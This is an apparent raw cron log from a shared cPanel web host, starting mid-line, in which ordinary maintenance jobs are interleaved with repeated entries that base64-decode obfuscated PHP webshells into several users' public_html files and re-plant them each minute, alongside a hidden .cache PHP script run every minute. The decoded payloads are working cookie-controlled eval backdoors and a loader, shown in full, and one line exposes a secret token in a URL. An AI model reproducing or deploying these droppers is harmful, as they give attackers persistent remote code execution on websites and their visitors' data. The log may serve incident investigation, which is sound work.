LTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:24:02 medusa CROND[6732]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:25:01 medusa CROND[11379]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:25:01 medusa CROND[11481]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 23:25:01 medusa CROND[11601]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 23:25:01 medusa CROND[11602]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 23:25:01 medusa CROND[11603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:25:01 medusa CROND[11604]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:25:01 medusa CROND[11607]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 23:25:01 medusa CROND[11605]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:25:01 medusa CROND[11609]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:25:01 medusa CROND[11613]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:25:01 medusa CROND[11614]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 23:25:01 medusa CROND[11616]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:25:01 medusa CROND[11618]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 23:25:01 medusa CROND[11621]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:25:01 medusa CROND[11617]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 23:25:01 medusa CROND[11626]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 23:25:01 medusa CROND[11635]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:25:01 medusa CROND[11637]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 23:25:01 medusa CROND[11639]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 23:25:01 medusa CROND[11632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:25:01 medusa CROND[11646]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 23:25:01 medusa CROND[11643]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:26:01 medusa CROND[11468]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:26:01 medusa CROND[11469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:26:01 medusa CROND[11470]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 23:26:01 medusa CROND[11471]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:26:01 medusa CROND[11472]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:26:01 medusa CROND[11475]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 23:26:01 medusa CROND[11476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:26:01 medusa CROND[11478]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:26:01 medusa CROND[11479]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:26:01 medusa CROND[11480]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:26:01 medusa CROND[11481]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:26:01 medusa CROND[11484]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:26:01 medusa CROND[11483]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:26:01 medusa CROND[11477]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:27:01 medusa CROND[16791]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:27:01 medusa CROND[16882]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 23:27:01 medusa CROND[16916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:27:01 medusa CROND[16917]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:27:01 medusa CROND[16918]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
